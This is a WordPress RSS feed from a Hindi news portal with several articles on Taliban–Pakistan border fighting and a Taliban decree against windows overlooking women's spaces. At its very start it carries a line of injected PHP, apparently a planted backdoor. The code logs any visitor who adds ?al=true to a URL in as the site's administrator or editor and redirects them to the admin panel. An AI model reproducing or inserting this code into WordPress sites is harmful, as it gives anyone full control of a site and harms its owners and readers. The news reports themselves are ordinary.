// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Taliban – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 13 Mar 2026 08:26:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 तालिबान ने पाकिस्तान को चेताया, इस्लामाबाद, कराची और क्वेटा को दहलाने की धमकी दी https://pratyushaashakinayikiran.com/?p=204507 Fri, 13 Mar 2026 08:26:00 +0000 https://pratyushaashakinayikiran.com/?p=204507 कंधार

अफगानिस्तान पर पाकिस्तानी एयरस्ट्राइक के बाद दोनों देशों के बीच तनाव अब 'आर-पार' की जंग में तब्दील होता दिख रहा है. पाकिस्तान द्वारा की गई एयरस्ट्राइक के बाद अब तालिबान के एक वरिष्ठ अधिकारी ने पाकिस्तान के प्रमुख शहरों पर हमले की धमकी दी है. यह चेतावनी कथित तौर पर अफगानिस्तान में पाकिस्तानी हवाई हमलों के बाद सामने आई है। 

रिपोर्ट के अनुसार, अफगानिस्तान के बल्ख प्रांत के तालिबान गवर्नर के प्रवक्ता हाजी जाहिद ने कहा कि यदि पाकिस्तान की ओर से ऐसे हमले जारी रहते हैं तो पाकिस्तान के बड़े शहरों को निशाना बनाया जा सकता है. उन्होंने विशेष रूप से इस्लामाबाद, कराची और क्वेटा का उल्लेख किया। 

यह बयान ऐसे समय आया है जब अफगानिस्तान में तालिबान प्रशासन ने आरोप लगाया है कि पाकिस्तान की सेना ने अफगानिस्तान के कई इलाकों में हवाई हमले किए हैं. इन हमलों में राजधानी काबुल और कंधार सहित कुछ अन्य क्षेत्रों को भी निशाना बनाए जाने की खबरें हैं। 

हाजी जाहिद,हाजी युसूफ के प्रवक्ता हैं. वफा को तालिबान के शीर्ष नेता हैबतुल्ला अखुंदजादा का करीबी माना जाता है और उत्तरी अफगानिस्तान में उनका प्रभाव काफी मजबूत बताया जाता है। 

विशेषज्ञों का मानना है कि यह बयान दोनों देशों के बीच बढ़ते तनाव का संकेत है. अफगानिस्तान-पाकिस्तान सीमा लंबे समय से विवाद और सैन्य झड़पों का केंद्र रही है. समय-समय पर दोनों पक्ष एक-दूसरे पर सीमा पार हमलों और उग्रवादियों को समर्थन देने के आरोप लगाते रहे हैं। 

ताजा बयान के बाद क्षेत्रीय सुरक्षा को लेकर नई चिंताएं पैदा हो गई हैं. विश्लेषकों के मुताबिक यदि दोनों देशों के बीच सैन्य कार्रवाई और बयानबाजी इसी तरह जारी रही तो इससे पूरे क्षेत्र में अस्थिरता बढ़ सकती है। 

फिलहाल पाकिस्तान की ओर से तालिबान के इस बयान पर आधिकारिक प्रतिक्रिया सामने नहीं आई है, लेकिन विशेषज्ञों का कहना है कि स्थिति को नियंत्रित करने के लिए कूटनीतिक स्तर पर बातचीत जरूरी होगी। 

]]>
तालिबान ने पाकिस्तान पर किया प्रचंड हमला, डूरंड लाइन पर दो नई पोस्ट कब्जाई, युद्ध तेज https://pratyushaashakinayikiran.com/?p=202052 Tue, 03 Mar 2026 05:56:00 +0000 https://pratyushaashakinayikiran.com/?p=202052 काबुल 

पाकिस्तान को अफगानिस्तान-तालिबान ने एक और झटका दे दिया है. तालिबान ने डूरंड लाइन पर दो पोस्टों पर कब्जा कर लिया है. Tolo News की रिपोर्ट के मुताबिक, इस्लामिक अमीरात ऑफ़ अफ़गानिस्तान की सेनाओं ने कंधार प्रांत के स्पिन बोल्डक और शोराबक ज़िलों में काल्पनिक डूरंड लाइन के पास पाकिस्तानी मिलिट्री पोस्ट पर कब्ज़ा कर लिया है| 

पाकिस्तान और अफ़गानिस्तान के बीच तनाव तब और बढ़ गया, जब अफ़गान तालिबान सेनाओं ने रावलपिंडी में नूर खान एयर बेस पर पाकिस्तान के कमांड और कंट्रोल सेंटर को निशाना बनाकर हथियारों से लैस ड्रोन हमले किए. यह घटना खास तौर पर सेंसिटिव है क्योंकि नूर खान एयर बेस उन पाकिस्तानी मिलिट्री साइट्स में से एक था, जिन्हें ऑपरेशन सिंदूर के दौरान भारतीय सेनाओं ने टारगेट किया था| 

मई 2025 में भारत और पाकिस्तान के बीच चार दिन की छोटी लेकिन ज़ोरदार लड़ाई के नौ महीने बाद भी, बेस पर रिकंस्ट्रक्शन का काम चल रहा था. बेस पर अफ़गान तालिबान के नए हमले की खबर ने रिपेयर के काम को और खतरे में डाल दिया है, जिससे और नुकसान हुआ है| 

अफ़गानिस्तान के नेशनल डिफेंस मिनिस्ट्री के ऑफिशियल X अकाउंट के मुताबिक, तालिबान सेनाओं ने क्वेटा में 12th डिवीजन हेडक्वार्टर और खैबर पख्तूनख्वा में दूसरी पाकिस्तानी मिलिट्री जगहों पर ड्रोन हमले किए| 

मिनिस्ट्री ने कहा, "आज, नेशनल डिफेंस मिनिस्ट्री की एयर फोर्स ने पाकिस्तान में ज़रूरी मिलिट्री ठिकानों पर सटीक और कोऑर्डिनेटेड हवाई ऑपरेशन किए. इसमें रावलपिंडी में नूर खान एयरबेस, क्वेटा (बलूचिस्तान) में 12th डिवीजन हेडक्वार्टर, खैबर पख्तूनख्वा की मोहमंद एजेंसी में ख्वाजाई कैंप और कई दूसरी ज़रूरी पाकिस्तानी मिलिट्री जगहों और कमांड सेंटर को निशाना बनाया गया| 

इससे पहले, तालिबान अधिकारियों ने दावा किया था कि पूर्वी अफ़गान शहर जलालाबाद में एक पाकिस्तानी फ़ाइटर जेट को मार गिराया गया था. न्यूज़ एजेंसी AFP ने बताया कि पायलट को एयरक्राफ़्ट से पैराशूट से उतरने के बाद ज़िंदा पकड़ लिया गया. स्थानीय लोगों ने AFP को बताया कि पायलट को लैंडिंग के तुरंत बाद हिरासत में ले लिया गया था. यह घटनाक्रम दोनों देशों के बीच बड़े पैमाने पर बॉर्डर पार दुश्मनी के बीच हुआ है| 

शुक्रवार को पाकिस्तान ने अफ़गानिस्तान की राजधानी काबुल और दक्षिणी शहर कंधार पर एयरस्ट्राइक की, जहां तालिबान के सुप्रीम लीडर हिबतुल्लाह अखुंदज़ादा का ठिकाना है. पाकिस्तानी सरकार के एक प्रवक्ता ने कहा कि 133 तालिबान लड़ाके मारे गए, 200 से ज़्यादा घायल हुए और कई चौकियां तबाह कर दी गईं या उन पर कब्ज़ा कर लिया गया| 

]]>
सिर्फ 15 मिनट में PAK सेना का आत्मसमर्पण, तालिबान ने हथियार भी कब्जाए https://pratyushaashakinayikiran.com/?p=185646 Wed, 15 Oct 2025 06:26:00 +0000 https://pratyushaashakinayikiran.com/?p=185646 काबुल 

तालिबानी लड़ाके और पाकिस्तानी की सेनाओं के बीच एक बार फिर से भीषण जंग हो रही है. दोनों सेनाएं अफ़ग़ानिस्तान-पाकिस्तान बॉर्डर पर स्थित स्पिन बोल्डक में लड़ाई लड़ रही हैं. आज सुबह लगभग 4 बजे स्पिन बोल्डक क्षेत्र में पाकिस्तानी सेना और अफगान तालिबान के बीच भारी लड़ाई शुरू हो गई. सोशल मीडिया पर जारी किए गए बॉर्डर में स्पिन बोल्डक-चमन सीमा का क्रॉसिंग दिखाई दे रहा है.

स्पिन बोल्डक अफ़गानिस्तान-पाकिस्तान सीमा पर स्थित है. यह उत्तर में कंधार शहर और दक्षिण में पाकिस्तान के चमन और क्वेटा शहर से एक राजमार्ग द्वारा जुड़ा हुआ है. पश्चिमी-चमन सीमा क्रॉसिंग शहर के दक्षिण-पूर्व में स्थित है. 

अफ़गान तालिबान का दावा है कि पाकिस्तानी सैनिकों के साथ भिडंत के 15 मिनट के अंदर ही तालिबानियों ने पाकिस्तानियों को सरेंडर के लिए मजबूर कर दिया और उनके हथियार ज़ब्त कर लिए गए. 

एक और वीडियो में दिखाया गया है कि लड़ाई के 15 मिनट के अंदर ही तालिबानियों ने पाकिस्तानियों के हथियार जब्त कर लिए.

स्पिन बोल्डक जिले के सूचना प्रमुख अली मोहम्मद हकमल ने टोलो न्यूज़ को बताया कि जारी लड़ाई में हल्के और भारी दोनों तरह के हथियारों का इस्तेमाल किया जा रहा है.

अभी तक हताहतों की संख्या के बारे में कोई आधिकारिक जानकारी नहीं है, लेकिन रिपोर्टों के अनुसार पाकिस्तानी तोपखाने की गोलाबारी से आम लोगों के घर तबाह हो गए हैं, जिससे कई निवासियों को इलाक़े से भागना पड़ा है. 

अफगानिस्तान के नेशनल सिक्योरिटी काउंसिल से जुड़े कबीर हकमाल ने कहा है कि, 'स्पिन बोल्डक क्षेत्र में तालिबान और पाकिस्तानी सेना के बीच भीषण झड़पें हुई हैं. कई सूत्रों ने हताहतों की पुष्टि की है और बताया है कि कई स्थानीय घर नष्ट हो गए हैं. पाकिस्तानी सेना कथित तौर पर डूरंड रेखा से सटे इलाकों को निशाना बनाने के लिए भारी हथियारों और हवाई शक्ति का इस्तेमाल कर रही है. दोनों पक्षों की ओर से अभी तक कोई आधिकारिक बयान जारी नहीं किया गया है.'

AFGEYE नाम की न्यूज एजेंसी ने कहा है कि कंधार प्रांत के स्पिन बोल्डक गेट पर आज तड़के अफगान सुरक्षा बलों और पाकिस्तानियों के बीच भीषण झड़पें शुरू हो गईं. पाकिस्तानी सुरक्षा बलों के हताहत होने की पुष्टि हुई है.

एक दूसरे यूजर ने लिखा है कि अफगान सेना ने स्पिन बोल्डक में डूरंड रेखा पर पाकिस्तान की चौकियों को नष्ट कर दिया है और दर्जनों पाकिस्तानी सैनिकों को ज़िंदा पकड़ लिया है. उन्होंने बड़ी संख्या में हल्के और भारी हथियारों के साथ-साथ टैंक भी ज़ब्त कर लिए हैं और उन्हें अफ़ग़ानिस्तान में स्थानांतरित कर दिया है.

पाकिस्तान-अफगानिस्तान के बीच हालिया टकराव 

11-12 अक्टूबर की रात को अफगान तालिबान ने पाकिस्तानी हवाई हमलों के जवाब में पाकिस्तानी सैन्य चौकियों पर हमला बोला. तालिबान ने दावा किया कि उन्होंने 58 पाकिस्तानी सैनिकों को मार गिराया और 25 चौकियां कब्जे में लीं, जबकि पाकिस्तान के अनुसार 23 उसके सैनिक मारे गए और 200 से अधिक तालिबानी लड़ाके मारे गए. 

यह लड़ाई डुरंड लाइन के आस-पास हो रही है. ये वो जगह है जहां पर पाकिस्तान अफगानिस्तान पर टीटीपी (तहरीक-ए-तालिबान पाकिस्तान) को पनाह देने का आरोप लगाता है. पाकिस्तान टीटीपी पर अपने यहां हमलों का आरोप लगाता रहता है. 

जवाबी कार्रवाई में पाकिस्तान ने कंधार और हेलमंद में ड्रोन हमले किए. तनाव के बीच दोनों देशों ने सीमा बंद कर दी है जिससे व्यापार ठप हो गया और हजारों वाहन फंस गए हैं. 

]]>
तालिबान का पाकिस्तान पर जीत का दावा, जश्न के बीच अफगानी बोले — ‘हम हैं साम्र्यों के कब्रिस्तान’ https://pratyushaashakinayikiran.com/?p=185556 Tue, 14 Oct 2025 13:38:00 +0000 https://pratyushaashakinayikiran.com/?p=185556 काबुल 

पाकिस्तान के साथ खूनी जंग में तालिबानी लड़ाकों ने खुद को विजेता घोषित कर दिया है. अफगानिस्तान के कई शहरों में जनता तालिबानी लड़ाकों के साथ सड़क पर जश्न मना रही है. अफगानिस्तान के आम शहरियों ने कहा है कि अफगानिस्तान की सरजमीं पर पाकिस्तानियों की बुरी नजर बर्दाश्त नहीं है. अफगानिस्तान के खोस्त, नंगरहार, पकीता, पंजशीर और काबुल में इस लड़ाई को पाकिस्तानियों को अफगानियों का जवाब बताया जा रहा है. 

अफगानिस्तान की अंग्रेजी वेबसाइट टोलो न्यूज के अनुसार अफगानिस्तान की अवाम का कहना है कि पाकिस्तान के साथ टकराव में उनकी सेना की बहादुरी सराहनीय है और अफ़ग़ानिस्तान के हवाई क्षेत्र का उल्लंघन करने वाली पाकिस्तान की कार्रवाई उनके लिए असहनीय है.

अफगानी सेना और तालिबानी लड़ाकों का समर्थन करने के लिए कई शहरों में युवा और कबीलाई नेता जमा हुए.

कुनार निवासी दाऊद खान हमदर्द ने कहा, "अगर पाकिस्तान ने हमारे क्षेत्र का उल्लंघन नहीं किया होता, तो अफगानिस्तान को उनके खिलाफ इस तरह के हमले करने के लिए मजबूर नहीं होना पड़ता."

नंगरहार निवासी मोहम्मद नादेर ने कहा, "हमारी सीमाएं अन्य पड़ोसियों के साथ भी लगती हैं, फिर भी उनके साथ हमारे संबंध खराब नहीं हुए हैं. इससे पता चलता है कि समस्या हमारे साथ नहीं, बल्कि पाकिस्तान के साथ है, क्योंकि वह हमेशा से समस्याओं का स्रोत रहा है."

कबायली बुज़ुर्गों,मजहबी विद्वानों ने घोषणा की कि मुल्क के हवाई क्षेत्र का उल्लंघन उन्हें बर्दाश्त और वे इसके विरुद्ध कोई भी कुर्बानी देने को तैयार हैं.

कुनार के एक कबायली बुज़ुर्ग तवोस खान अखुंदज़ादा ने कहा, "अफगानिस्तान साम्राज्यों का कब्रिस्तान है. पाकिस्तान को अफगानिस्तान के इतिहास से सीख लेनी चाहिए और अफगानों को परेशान करना बंद करना चाहिए."पक्तिया निवासी मुस्लिम हैदरी ने कहा, "इस्लामिक अमीरात और अफगानिस्तान के लोगों का अपनी जमीन और क्षेत्र के एक-एक इंच की रक्षा करना वैध अधिकार है."

अफगान की सुरक्षा पर कमेंट करने वाले एक हैंडल ने लिखा, "डूरंड रेखा पर पाकिस्तानी सुरक्षा बलों के खिलाफ हालिया "बदला" अभियान में तालिबान बलों की जीत का जश्न मनाने के लिए लोग सड़कों पर उतर आए हैं. तालिबान लड़ाके झड़पों के दौरान पाकिस्तानी सैनिकों से कथित तौर पर ज़ब्त किए गए हथियार भी दिखाते नजर आ रहे हैं. 

अफगान डिफेंस के एक हैंडल ने लिखा, "अफगान फोर्सेज द्वारा पाकिस्तान को करारी शिकस्त दिए जाने के बाद अफगानी लोग अपने सैनिकों के सम्मान में एकत्रित होकर खुशी का जश्न मना रहे हैं."

तालिबान के हमले में 58 सैनिक हुए ढेर, बौखलाए मुनीर ने बुलाई इमर्जेंसी मीटिंग

अफगान तालिबान के एक के बाद एक हमलों ने पाकिस्तान की सेना को हिला दिया है. इन हमलों के बाद पाकिस्तान के सेना प्रमुख फील्ड मार्शल आसिम मुनीर ने रावलपिंडी स्थित जनरल हेडक्वार्टर (GHQ) में सोमवार देर रात आपातकालीन उच्च-स्तरीय बैठक बुलाई. सीएनएन-न्यूज18 को शीर्ष खुफिया सूत्रों ने बताया कि यह बैठक डूरंड लाइन (Durand Line) के पास पाकिस्तानी चौकियों पर हुए तालिबान के हमलों के बाद बुलाई गई थी. इन हमलों ने पाक सेना की खुफिया और सीमा सुरक्षा की कमजोरियों को उजागर कर दिया है.

बैठक में कॉर्प्स कमांडर पेशावर लेफ्टिनेंट जनरल उमर अहमद बुखारी, दक्षिणी कमांड कमांडर लेफ्टिनेंट जनरल राहत नसीम अहमद खान, चीफ ऑफ जनरल स्टाफ (CGS) लेफ्टिनेंट जनरल मुहम्मद अवाइस, DG ISI आसिम मलिक, DGMI मेजर जनरल वाजिद अजीज और DGMO मेजर जनरल काशिफ अब्दुल्लाह सहित वरिष्ठ अधिकारियों ने हिस्सा लिया. खुफिया सूत्रों के मुताबिक आसिम मुनीर बेहद नाराज नजर आए और उन्होंने अपने कमांडरों से सख्त लहजे में पूछा, ‘पहले से खुफिया जानकारी क्यों नहीं थी? यह इंटेलिजेंस फेल्योर कैसे हुआ? कंटिजेंसी प्लान कहां था?’

मुनीर ने दिया बड़ा आदेश

सूत्रों के मुताबिक, मुनीर ने इसे बड़ी रणनीतिक विफलता बताते हुए हर अधिकारी से जवाब मांगा कि तालिबान की इस व्यापक कार्रवाई का कोई पूर्व संकेत क्यों नहीं मिला और फौरन जवाबी कार्रवाई की तैयारी क्यों नहीं थी? उन्होंने सभी वरिष्ठ कमांडरों को निर्देश दिया कि सात दिनों के भीतर विस्तृत रिपोर्ट सौंपें, जिसमें सभी कमियां, कारण और सुधारात्मक कदम स्पष्ट रूप से बताए जाएं. साथ ही, उन्होंने आदेश दिया कि सीमा क्षेत्रों में सतर्कता बढ़ाई जाए और ‘किसी भी संभावित हमले को रोकने के लिए हर मोर्चे पर अतिरिक्त सुरक्षा उपाय’ किए जाएं.

तालिबान के हमले से थर्राया पाकिस्तान

मुनीर ने कहा कि पाकिस्तान अब ‘युद्ध की स्थिति में है. अंदरूनी और बाहरी दोनों मोर्चों पर.’ उन्होंने सवाल किया- ‘हम कब तक एक ‘सॉफ्ट स्टेट’ बने रहेंगे जबकि हमारे जवान और नागरिक लगातार कुर्बान हो रहे हैं? अब वक्त है सख्त कदम उठाने का.’ खुफिया सूत्रों के अनुसार, तालिबान ने सात अलग-अलग मोर्चों अंगूर अड्डा, बाजौर, कुर्रम, दिर, चितराल, वजीरिस्तान (खैबर पख्तूनख्वा) और बहराम चाह व चमन (बलूचिस्तान) से भारी आर्टिलरी से हमला किया. इन हमलों ने पाकिस्तानी चौकियों को अचानक निशाना बनाया और सेना को चौंका दिया.

क्यों भिड़े 'बिरादर' अफगानिस्तान और पाकिस्तान

पाकिस्तान और अफगानिस्तान के बीच हाल की भिड़ंत डुरंज लाइन पर 11-12 अक्टूबर 2025 की रात हुई. इसका मुख्य कारण पाकिस्तान द्वारा 9-10 अक्टूबर को काबुल, खोस्त, जलालाबाद और पक्तिका में हवाई हमले थे. अफगानिस्तान पर राज कर रहे तालिबान ने अपनी संप्रभुता का उल्लंघन बताया. पाकिस्तान ने इन हमलों को तहरीक-ए-तालिबान पाकिस्तान (टीटीपी) के ठिकानों पर कार्रवाई कहा. पाकिस्तान ने आरोप लगाया कि इन्हें अफगानिस्तान में पनाह मिलता है. 

पाकिस्तानी हमले के जवाब में तालिबान ने जवाबी कार्रवाई में 25 पाकिस्तानी सैन्य चौकियों पर हमला किया. पाकिस्तान ने कहा कि इस हमले में उन्होंने 200 तालिबान लड़ाकों को मार गिराया और उसके 23 सैनिक मारे गए. जबकि तालिबान का दावा है कि 58 पाकिस्तानी सैनिक मारे गए. अभी दोनों देशों के बीच व्यापार बंद है और टेंशन चरम पर है. पाकिस्तान के रक्षा मंत्री ख्वाजा आसिफ ने कहा है कि दोनों देशों के बीच लड़ाई कभी भी शुरू हो सकती है. 

]]>
तालिबान का नया फरमान घरों में खिड़कियां न लगाएं…महिलाओं की कैद ……. https://pratyushaashakinayikiran.com/?p=115461 Mon, 30 Dec 2024 11:56:00 +0000 https://pratyushaashakinayikiran.com/?p=115461 काबुल

अफगानिस्तान में महिलाओं के खिलाफ एक नया कानून बना दिया है। इसके मुताबिक नए बन रहे घरों में खिड़कियां नहीं होनी चाहिए। यह कानून इसलिए बनाया गया है ताकि महिलाएं बाहर की तरफ न देख पाएं। तालिबान सरकार के सर्वोच्च नेता ने इसको लेकर आदेश जारी किया है। इसमें कहा गया है कि महिलाओं की झलक मिलने से अश्लील हरकतें हो सकती हैं। तालिबान सरकार के प्रवक्ता जबीहुल्ला मुजाहिद ने इस बारे में एक्स पर एक बयान भी पोस्ट किया है। इसमें उन्होंने कहाकि नई इमारतों में ऐसी खिड़कियां नहीं होनी चाहिए, जिससे आंगन, रसोईघर, पड़ोसी का कुआं या महिलाओं द्वारा इस्तेमाल की जाने वाली जगह दिखाई देती है।

जबीहुल्ला मुजाहिद ने लिखा है कि महिलाओं को किचन में काम करते हुए, बारामदे में आते-जाते या कुएं से पानी लेते हुए देखने से अश्लील हरकतें हो सकती हैं। तालिबान सरकार के मुताबिक म्यूनिसिपल अधिकारी और अन्य संबंधित विभाग नए बन रहे घरों पर नजर भी रखेंगे। उन्हें यह ध्यान रखना होगा कि इन घरों में पड़ासियों के घर की तरफ खिड़की या झरोखा न खुला हो।

अगर किसी घर में पहले से पड़ोसी के घर की तरफ खिड़की खुली हुई है तो उसे इसके लिए इंतजाम करने होंगे। मकान मालिक को या तो खिड़की तरफ दीवार बनानी होगी या फिर कुछ ऐसा इंतजाम करना होगा, जिससे पड़ोसी उस जगह से घर में न देख पाए। तालिबान सरकार ऐसा इंतजाम करने में जुटी है कि न तो बाहर से उन्हें कोई देख पाए और न ही वो किसी बाहरी आदमी को देख पाएं।

गौरतलब है कि अगस्त 2021 में सत्ता में आने के बाद से ही तालिबान सरकार महिलाओं के अधिकारों पर प्रतिबंध लगा रही है। यहां तक कि उन्हें नौकरियां करने की भी अनुमति नहीं है। महिलाओं के लिए तालिबान की नीतियों पर संयुक्त राष्ट्र संघ ने भी नाखुशी जताई है। तालिबान अधिकारियों ने लड़कियों और महिलाओं के लिए प्राथमिक शिक्षा पर प्रतिबंध लगा दिया है। उनके पार्कों और अन्य सार्वजनिक स्थानों तक जाने पर भी रोक लगा दी गई है। हाल ही में यहां पर एक कानून बनाया गया है, जिसके मुताबिक महिलाओं पर सार्वजनिक रूप से गाना या कविता सुनाना भी प्रतिबंधित है।

]]>